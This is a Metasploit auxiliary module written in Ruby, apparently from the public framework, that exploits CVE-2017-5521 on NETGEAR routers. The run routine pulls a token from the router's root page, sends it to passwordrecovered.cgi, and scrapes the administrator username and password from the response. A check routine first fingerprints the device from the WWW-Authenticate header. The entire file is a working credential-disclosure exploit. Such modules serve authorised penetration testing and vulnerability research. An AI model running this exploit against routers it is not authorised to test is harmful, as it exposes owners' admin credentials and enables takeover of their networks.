##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NETGEAR Administrator Password Disclosure',
      'Description'    => %q{
        This module will collect the password for the `admin` user.
        The exploit will not complete if password recovery is set on the router.
        The password is received by passing the token generated from `unauth.cgi`
        to `passwordrecovered.cgi`. This exploit works on many different NETGEAR
        products. The full list of affected products is available in the 'References'
        section.

      },
      'Author'         =>
        [
          'Simon Kenin', # Vuln Discovery, PoC
          'thecarterb'   # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2017-5521' ],
          [ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18758' ],
          [ 'URL', 'https://thehackernews.com/2017/01/Netgear-router-password-hacking.html'],
          [ 'URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/'],
          [ 'URL', 'https://pastebin.com/dB4bTgxz'],
          [ 'EDB', '41205']
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
    [
      OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/'])
    ])
  end

  # @return substring of 'text', usually a response from a server in this case
  def scrape(text, start_trig, end_trig)
    text[/#{start_trig}(.*?)#{end_trig}/m, 1]
  end

  def run
    uri = target_uri.path
    uri = normalize_uri(uri)
    print_status("Checking if #{rhost} is a NETGEAR router")
    vprint_status("Sending request to http://#{rhost}/")

    # will always call check no matter what
    is_ng = check

    res = send_request_cgi({ 'uri' => uri })
    if res.nil?
      print_error("#{rhost} returned an empty response.")
      return
    end

    if is_ng == Exploit::CheckCode::Detected
      marker_one = "id="
      marker_two = "\""
      token = scrape(res.to_s, marker_one, marker_two)
      if token.nil?
        print_error("#{rhost} is not vulnerable: Token not found")
        return
      end

      if token == '0'
        print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0")
      end
      print_status("Token found: #{token}")
      vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}")

      r = send_request_cgi({
        'uri' => "/passwordrecovered.cgi",
        'vars_get' => { 'id'  =>  token }
      })

      vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}")

      html = r.get_html_document
      raw_html = html.text

      username = scrape(raw_html, "Router Admin Username", "Router Admin Password")
      password = scrape(raw_html, "Router Admin Password", "You can")
      if username.nil? || password.nil?
        print_error("#{rhost} returned empty credentials")
        return
      end
      username.strip!
      password.strip!

      if username.empty? || password.empty?
        print_error("No Creds found")
      else
        print_good("Creds found: #{username}/#{password}")
      end
    else
      print_error("#{rhost} is not vulnerable: Not a NETGEAR device")
    end
  end

  # Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response
  # This checks the response for that header.
  def check

    res = send_request_cgi({'uri'=>'/'})
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end

    # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\""
      marker_two = "\""
      model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
      print_good("Router is a NETGEAR router (#{model})")
      return Exploit::CheckCode::Detected
    else
      print_error('Router is not a NETGEAR router')
      return Exploit::CheckCode::Safe
    end
  end
end
